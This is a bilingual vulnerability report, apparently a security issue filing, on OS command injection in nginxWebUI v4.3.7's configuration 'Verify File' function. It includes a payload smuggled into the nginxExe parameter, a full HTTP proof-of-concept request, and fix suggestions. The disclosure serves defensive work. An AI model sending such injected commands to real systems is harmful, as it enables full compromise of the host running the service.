Security Issue: There is a command injection vulnerability in the nginxWebUI configuration file verification function

1. Vulnerability Overview
   In the Web management interface of nginxWebUI v4.3.7, the "Verify File" function within the "Enable Configuration" module does not strictly filter the ​​nginx execution command​​ parameters entered by users, allowing attackers to inject and execute arbitrary system commands.

2. Affected versions
   • Product: nginxWebUI
   • Affected version: v4.3.7 (other versions may also be affected, not tested)
   • Component: Web Management Interface -> Local -> Enable Configuration -> Execute nginx Command -> Verify Files

3. Technical details
   • Vulnerability type: Operating system command injection
   • CWE ID: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
   • Root cause: The application directly concatenates the system command "​​id​​​" with the user-controllable "​​nginxExe​​" parameter in the background.

4. Reproduction steps
   • Environment: The test device with nginxWebUI v4.3.7 installed has its Web management interface address set to ​​http://127.0.0.1:8689​​.
   • Accessing vulnerable endpoints: Log in to any account and directly access ​​http://127.0.0.1:8689​​.
   • Construct Payload: In the "​​nginx Execute Command​​" input box, enter the following content:
   bash -c "id"
   • Trigger vulnerability: Click the "​​Verify File​​" button to submit.
   • Observation: The page return result will display the execution result of the "​​id​​​" command (​​such as "uid=0(root) gid=0(root) groups=0(root)​​"), proving that the system command has been successfully executed.

5. Proof of impact
   • Screenshot 1: Enter the payload ​​bash -c "id"​​​ in the ​​nginx execution command​​ input box.

• Screenshot 2: Request packet and response packet.

• Proof of Concept (PoC) code snippet (optional, for illustration):

POST /adminPage/conf/check HTTP/1.1
Host: 192.168.52.130:8689
Content-Length: 427
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Origin: http://192.168.52.130:8689
Referer: http://192.168.52.130:8689/adminPage/conf
Accept-Encoding: gzip, deflate, br
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1769355055; SOLONID=c313851a875947458fa1caf1d4c7e0d5
Connection: keep-alive

nginxPath=%2Fhome%2Fbb%2Fnginx.conf&nginxExe=bash+-c+%22id%22&nginxDir=&json=%7B%22nginxPath%22%3A%22%2Fhome%2Fbb%2Fnginx.conf%22%2C%22nginxContent%22%3A%22d29ya2VyX3Byb2Nlc3NlcyBhdXRvOwpldmVudHMgewogICAgd29ya2VyX2Nvbm5lY3Rpb25zICAxMDI0OwogICAgYWNjZXB0X211dGV4IG9uOwogIH0KaHR0cCB7CiAgaW5jbHVkZSBtaW1lLnR5cGVzOwogIGRlZmF1bHRfdHlwZSBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07Cn0K%22%2C%22subContent%22%3A%5B%5D%2C%22subName%22%3A%5B%5D%7D

6. Potential impacts
   • Complete system compromise: Execute arbitrary commands with the privileges of the Web service process (usually high privileges).
   • Sensitive information leakage: Accessing ​​/etc/passwd​​​, ​​/etc/shadow​​, application configuration files, database credentials, etc.
   • Backdoor implantation: Writing webshells, creating reverse shells, installing ransomware, etc.
   • Horizontal movement within the network: Using infected devices as a springboard to attack other hosts within the internal network.

7. Repair suggestions
   • Use secure APIs: Avoid directly invoking system commands.
   • Implement the principle of least privilege: The process running the Web service should use a low-privileged user, rather than ​​root​​, to limit the scope of impact in case of successful command injection.

Security Issue: nginxWebUI配置文件校验存在命令注入漏洞

1. 漏洞概览​
   在 nginxWebUI v4.3.7 的Web管理界面中，“启用配置”模块的“校验文件”功能对用户输入的​​nginx执行命令​​参数过滤不严，导致攻击者能够注入并执行任意系统命令。

2. 受影响的版本
   • 产品： nginxWebUI
   • 受影响版本： v4.3.7（其他版本可能同样受影响，未测试）
   • 组件： Web管理界面 -> 本地 -> 启用配置 -> nginx执行命令-> 校验文件
   ​3. 技术细节
   • 漏洞类型： 操作系统命令注入
   • CWE ID: ​​CWE-78​​ (Improper Neutralization of Special Elements used in an OS Command)
   • 根本原因： 应用程序在后台直接使用用户可控的 ​​nginxExe​​ 参数拼接系统命令 ​​id​​。

3. 复现步骤
   • 环境： 安装 nginxWebUI v4.3.7 的测试设备，其Web管理界面地址为 ​​http://127.0.0.1:8689​​。
   • 访问漏洞端点： 任意账户登录，直接访问 ​​http://127.0.0.1:8689​​。
   • 构造Payload： 在 “​​nginx执行命令​​” 输入框中，输入以下内容：
   bash -c "id"• 触发漏洞： 点击 “​​校验文件​​” 按钮提交。
   • 观察结果： 页面返回结果会显示 ​​id​​​ 命令的执行结果（如 ​​uid=0(root) gid=0(root) groups=0(root)​​），证明系统命令已被成功执行。

4. 影响证明
   • 截图1： 在​​nginx执行命令​​​输入框中输入Payload ​​bash -c "id"​​。

• 截图2： 请求包和响应包。 • 概念验证 (PoC) 代码片段（可选，用于说明）：

POST /adminPage/conf/check HTTP/1.1
Host: 192.168.52.130:8689
Content-Length: 427
X-Requested-With: XMLHttpRequest
Accept-Language: zh-CN,zh;q=0.9
Accept: application/json, text/javascript, */*; q=0.01
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Safari/537.36
Origin: http://192.168.52.130:8689
Referer: http://192.168.52.130:8689/adminPage/conf
Accept-Encoding: gzip, deflate, br
Cookie: Hm_lvt_1cd9bcbaae133f03a6eb19da6579aaba=1769355055; SOLONID=c313851a875947458fa1caf1d4c7e0d5
Connection: keep-alive

nginxPath=%2Fhome%2Fbb%2Fnginx.conf&nginxExe=bash+-c+%22id%22&nginxDir=&json=%7B%22nginxPath%22%3A%22%2Fhome%2Fbb%2Fnginx.conf%22%2C%22nginxContent%22%3A%22d29ya2VyX3Byb2Nlc3NlcyBhdXRvOwpldmVudHMgewogICAgd29ya2VyX2Nvbm5lY3Rpb25zICAxMDI0OwogICAgYWNjZXB0X211dGV4IG9uOwogIH0KaHR0cCB7CiAgaW5jbHVkZSBtaW1lLnR5cGVzOwogIGRlZmF1bHRfdHlwZSBhcHBsaWNhdGlvbi9vY3RldC1zdHJlYW07Cn0K%22%2C%22subContent%22%3A%5B%5D%2C%22subName%22%3A%5B%5D%7D

6. 潜在影响
   • 完全系统沦陷： 以Web服务进程权限（通常是高权限）执行任意命令。
   • 敏感信息泄露： 读取 ​​/etc/passwd​​​、​​/etc/shadow​​、应用配置文件、数据库凭证等。
   • 植入后门： 写入Webshell、创建反向Shell、安装勒索软件等。
   • 网络内横向移动： 以受感染设备为跳板，攻击内网其他主机。

7. 修复建议
   • 使用安全的API： 避免直接调用系统命令。
   • 实施最小权限原则： 运行Web服务的进程应使用低权限用户，而非​​root​​，以限制命令注入成功后的影响范围。

Start at POST /adminPage/conf/check, reached through the Web Management Interface's Verify File function, and trace how the nginxExe parameter is handled. Reproduce the reported behavior only in a safe test environment, then verify that user-controlled command input is no longer executed and that normal configuration verification still works.